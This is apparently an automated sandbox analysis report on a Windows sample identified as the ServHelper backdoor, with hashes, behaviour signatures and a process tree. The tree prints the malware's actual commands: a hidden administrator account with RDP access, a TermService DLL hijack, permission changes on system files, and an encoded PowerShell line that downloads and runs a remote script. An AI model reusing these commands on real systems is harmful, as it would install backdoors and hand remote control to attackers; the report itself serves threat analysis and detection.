Analysis
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max time kernel
148s -
max time network
131s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01/02/2022, 00:09
Static task
static1
Behavioral task
behavioral1
Sample
878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe
Resource
win10v2004-en-20220113
General
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Target
878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe
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Size
4.5MB
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MD5
9ff7912602cfde4249eeffb1b8c1c10a
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SHA1
89326801da83ca97b684f39a92885042c038c0fc
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SHA256
878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb
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SHA512
bf2e70dbdd9c7bcba67a38ec7cb765b2269ad868fad0ad2cd26e59dafb7c1c33738d466e7a30dbcd583f2746ca60ef32263d1b2543abe634aeb023bec6cd3617
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1640 powershell.exe 6 1640 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1872 icacls.exe 1536 icacls.exe 2040 icacls.exe 1676 takeown.exe 1668 icacls.exe 1168 icacls.exe 916 icacls.exe 1996 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000b000000012284-102.dat upx behavioral1/files/0x0003000000004ed5-103.dat upx -
Loads dropped DLL 2 IoCs
pid Process 716 Process not Found 716 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1668 icacls.exe 1168 icacls.exe 916 icacls.exe 1996 icacls.exe 1872 icacls.exe 1536 icacls.exe 2040 icacls.exe 1676 takeown.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WURMXST6OY8WWHT8IBSU.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2090845c0017d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1236 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1312 powershell.exe 1976 powershell.exe 1620 powershell.exe 1484 powershell.exe 1312 powershell.exe 1312 powershell.exe 1312 powershell.exe 1640 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 716 Process not Found 716 Process not Found 716 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1312 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeDebugPrivilege 1484 powershell.exe Token: SeRestorePrivilege 1168 icacls.exe Token: SeAssignPrimaryTokenPrivilege 944 WMIC.exe Token: SeIncreaseQuotaPrivilege 944 WMIC.exe Token: SeAuditPrivilege 944 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 944 WMIC.exe Token: SeIncreaseQuotaPrivilege 944 WMIC.exe Token: SeAuditPrivilege 944 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1828 WMIC.exe Token: SeIncreaseQuotaPrivilege 1828 WMIC.exe Token: SeAuditPrivilege 1828 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1828 WMIC.exe Token: SeIncreaseQuotaPrivilege 1828 WMIC.exe Token: SeAuditPrivilege 1828 WMIC.exe Token: SeDebugPrivilege 1640 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1072 wrote to memory of 1312 1072 878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe 27 PID 1072 wrote to memory of 1312 1072 878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe 27 PID 1072 wrote to memory of 1312 1072 878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe 27 PID 1312 wrote to memory of 1828 1312 powershell.exe 29 PID 1312 wrote to memory of 1828 1312 powershell.exe 29 PID 1312 wrote to memory of 1828 1312 powershell.exe 29 PID 1828 wrote to memory of 1812 1828 csc.exe 30 PID 1828 wrote to memory of 1812 1828 csc.exe 30 PID 1828 wrote to memory of 1812 1828 csc.exe 30 PID 1312 wrote to memory of 1976 1312 powershell.exe 31 PID 1312 wrote to memory of 1976 1312 powershell.exe 31 PID 1312 wrote to memory of 1976 1312 powershell.exe 31 PID 1312 wrote to memory of 1620 1312 powershell.exe 33 PID 1312 wrote to memory of 1620 1312 powershell.exe 33 PID 1312 wrote to memory of 1620 1312 powershell.exe 33 PID 1312 wrote to memory of 1484 1312 powershell.exe 35 PID 1312 wrote to memory of 1484 1312 powershell.exe 35 PID 1312 wrote to memory of 1484 1312 powershell.exe 35 PID 1312 wrote to memory of 1676 1312 powershell.exe 40 PID 1312 wrote to memory of 1676 1312 powershell.exe 40 PID 1312 wrote to memory of 1676 1312 powershell.exe 40 PID 1312 wrote to memory of 1668 1312 powershell.exe 41 PID 1312 wrote to memory of 1668 1312 powershell.exe 41 PID 1312 wrote to memory of 1668 1312 powershell.exe 41 PID 1312 wrote to memory of 1168 1312 powershell.exe 42 PID 1312 wrote to memory of 1168 1312 powershell.exe 42 PID 1312 wrote to memory of 1168 1312 powershell.exe 42 PID 1312 wrote to memory of 916 1312 powershell.exe 43 PID 1312 wrote to memory of 916 1312 powershell.exe 43 PID 1312 wrote to memory of 916 1312 powershell.exe 43 PID 1312 wrote to memory of 1996 1312 powershell.exe 44 PID 1312 wrote to memory of 1996 1312 powershell.exe 44 PID 1312 wrote to memory of 1996 1312 powershell.exe 44 PID 1312 wrote to memory of 1872 1312 powershell.exe 45 PID 1312 wrote to memory of 1872 1312 powershell.exe 45 PID 1312 wrote to memory of 1872 1312 powershell.exe 45 PID 1312 wrote to memory of 1536 1312 powershell.exe 46 PID 1312 wrote to memory of 1536 1312 powershell.exe 46 PID 1312 wrote to memory of 1536 1312 powershell.exe 46 PID 1312 wrote to memory of 2040 1312 powershell.exe 47 PID 1312 wrote to memory of 2040 1312 powershell.exe 47 PID 1312 wrote to memory of 2040 1312 powershell.exe 47 PID 1312 wrote to memory of 1840 1312 powershell.exe 48 PID 1312 wrote to memory of 1840 1312 powershell.exe 48 PID 1312 wrote to memory of 1840 1312 powershell.exe 48 PID 1312 wrote to memory of 1236 1312 powershell.exe 49 PID 1312 wrote to memory of 1236 1312 powershell.exe 49 PID 1312 wrote to memory of 1236 1312 powershell.exe 49 PID 1312 wrote to memory of 1492 1312 powershell.exe 50 PID 1312 wrote to memory of 1492 1312 powershell.exe 50 PID 1312 wrote to memory of 1492 1312 powershell.exe 50 PID 1312 wrote to memory of 1768 1312 powershell.exe 51 PID 1312 wrote to memory of 1768 1312 powershell.exe 51 PID 1312 wrote to memory of 1768 1312 powershell.exe 51 PID 1768 wrote to memory of 1300 1768 net.exe 52 PID 1768 wrote to memory of 1300 1768 net.exe 52 PID 1768 wrote to memory of 1300 1768 net.exe 52 PID 1312 wrote to memory of 1948 1312 powershell.exe 53 PID 1312 wrote to memory of 1948 1312 powershell.exe 53 PID 1312 wrote to memory of 1948 1312 powershell.exe 53 PID 1948 wrote to memory of 1836 1948 cmd.exe 54 PID 1948 wrote to memory of 1836 1948 cmd.exe 54 PID 1948 wrote to memory of 1836 1948 cmd.exe 54 PID 1836 wrote to memory of 1148 1836 cmd.exe 55
Processes
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C:\Users\Admin\AppData\Local\Temp\878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe"C:\Users\Admin\AppData\Local\Temp\878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gzmjtvat.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6C79.tmp"4⤵PID:1812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1676
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1668
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1168
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:916
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1996
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1872
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1536
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2040
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1840
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1236
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1492
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1300
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1148
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1612
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:552
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1332
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C:\Windows\system32\net.exenet start TermService5⤵PID:884
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:892
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1524
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:912
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:588
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:112
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:808
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc OLNXNVnW /add1⤵PID:1408
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc OLNXNVnW /add2⤵PID:1576
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc OLNXNVnW /add3⤵PID:652
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1748
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:392
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1032
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD1⤵PID:1872
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD2⤵PID:1960
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD3⤵PID:1800
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1492
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:852
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1768
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc OLNXNVnW1⤵PID:1636
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc OLNXNVnW2⤵PID:1716
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc OLNXNVnW3⤵PID:1824
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:960
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:944
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:392
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1828
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1356
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1756
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
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